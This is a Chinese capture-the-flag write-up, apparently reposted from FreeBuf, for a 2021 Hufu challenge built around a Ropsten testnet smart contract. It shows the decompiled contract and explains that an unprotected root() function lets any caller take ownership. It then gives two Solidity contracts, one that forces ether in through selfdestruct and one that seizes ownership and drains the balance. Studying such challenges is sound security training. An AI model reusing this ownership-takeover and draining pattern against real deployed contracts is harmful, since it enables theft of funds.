虎符2021-AGame_给转账 Writeup – 作者:小汽油

赛题

图片[1]-虎符2021-AGame_给转账 Writeup – 作者:小汽油-安全小百科

题目地址:0xb4D288dE112799141064CF2Af23ab33C074863D4@ropsten

赛题分析

ethervm.io智能合约反编译:https://ethervm.io/decompile/ropsten/0xb4D288dE112799141064CF2Af23ab33C074863D4

得到结果:

Public Methods

0x74772eb3 Unknown

0x8da5cb5b owner()

0xb8b8d35a Unknown

0xebf0c717 root()

Internal Methods

func_0154(arg1) returns (r0)

owner(arg0) returns (r0)

func_0199(arg0)

root()

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
    
        if (msg.data.length < 0x04) {
        label_0062:
            var var0 = msg.value;
        
            if (!var0) { revert(memory[0x00:0x00]); }
            else { revert(memory[0x00:0x00]); }
        } else {
            var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
        
            if (var0 == 0x74772eb3) {
                // Dispatch table entry for 0x74772eb3 (unknown)
                var var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var1 = 0x009f;
                var var2 = msg.data[0x04:0x24];
                var2 = func_0154(var2);
                var temp0 = memory[0x40:0x60];
                memory[temp0:temp0 + 0x20] = !!var2;
                var temp1 = memory[0x40:0x60];
                return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
            } else if (var0 == 0x8da5cb5b) {
                // Dispatch table entry for owner()
                var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var1 = 0x00ce;
                var2 = owner();
                var temp2 = memory[0x40:0x60];
                memory[temp2:temp2 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
                var temp3 = memory[0x40:0x60];
                return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
            } else if (var0 == 0xb8b8d35a) {
                // Dispatch table entry for 0xb8b8d35a (unknown)
                var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var1 = 0x013b;
                var2 = msg.data[0x04:0x24];
                func_0199(var2);
                stop();
            } else if (var0 == 0xebf0c717) {
                // Dispatch table entry for root()
                var1 = msg.value;
            
                if (var1) { revert(memory[0x00:0x00]); }
            
                var1 = 0x0152;
                root();
                stop();
            } else { goto label_0062; }
        }
    }
    
    function func_0154(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x01;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])] & 0xff;
    }
    
    function owner() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }
    
    function func_0199(var arg0) {
        if (storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff != arg0 & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
    
        if (address(address(this)).balance < 0x038d7ea4c68000) { revert(memory[0x00:0x00]); }
    
        var temp0 = address(address(this)).balance;
        var temp1 = memory[0x40:0x60];
        var temp2;
        temp2, memory[temp1:temp1 + 0x00] = address(msg.sender).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
    
        if (!temp2) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = arg0;
        memory[0x20:0x40] = 0x01;
        var temp3 = keccak256(memory[0x00:0x40]);
        storage[temp3] = (storage[temp3] & ~0xff) | 0x01;
    }
    
    function root() {
        storage[0x00] = msg.sender | (storage[0x00] & ~0xffffffffffffffffffffffffffffffffffffffff);
    }
}

再进一步查询其中的0x74772eb3函数和0xb8b8d35a函数,得到具体的函数名称:

0x74772eb3 -> is_successful(uint256)  // 目标函数
0xb8b8d35a -> solve(uint256)

Etherscan智能合约反编译(靠谱):

https://ropsten.etherscan.io/bytecode-decompiler?a=0xb4D288dE112799141064CF2Af23ab33C074863D4

#
#  Panoramix v4 Oct 2019 
#  Decompiled source of ropsten:0xb4D288dE112799141064CF2Af23ab33C074863D4
# 
#  Let's make the world open source 
# 

def storage:
  owner is addr at storage 0
  stor1 is mapping of uint8 at storage 1

def unknown74772eb3(uint256 _param1): # not payable
  return bool(stor1[_param1])

def owner(): # not payable
  return owner

#
#  Regular functions
#

def root(): # not payable
  owner = caller

def _fallback(): # not payable, default function
  revert

def unknownb8b8d35a(addr _param1): # not payable
  require owner == _param1
  require eth.balance(this.address) >= 10^15
  call caller with:
     value eth.balance(this.address) wei
       gas 2300 * is_zero(value) wei
  require ext_call.success
  stor1[_param1] = 1

解题过程

首先通过销毁合约对目标进行转账,金额为>0.001 eth

pragma solidity ^0.4.0;
 contract trans{
     function transTo(address _aim) public{
         selfdestruct(_aim);
     }
     function () payable{
         
     }
 }

然后调用攻击合约

pragma solidity ^0.4.0;

contract  attackConstract{
    function attackRoot(address _aim) public{
        _aim.call(bytes4(keccak256("root()")));
    }
    
    function attackSolve(address _aim) public{
	// "solve(uint256)"要根据反编译结果或反编译出来的函数签名来写!!!
        _aim.call(bytes4(keccak256("solve(uint256)")), this);
    }
    
    function attackSucc(address _aim) public{
	// "is_successful(uint256)"要根据反编译结果或反编译出来的函数签名来写!!!
        _aim.call(bytes4(keccak256("is_successful(uint256)")), this);
    }
    
    function () payable{ }
}

攻击步骤

调用attackRoot函数将目标函数的owner设为攻击合约

调用attackSolve函数将目标地址的值设为1

调用attackSucc函数,获取true返回值

提交攻击合约的地址

交易细节:

图片[2]-虎符2021-AGame_给转账 Writeup – 作者:小汽油-安全小百科

来源:freebuf.com 2021-05-18 20:45:13 by: 小汽油

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论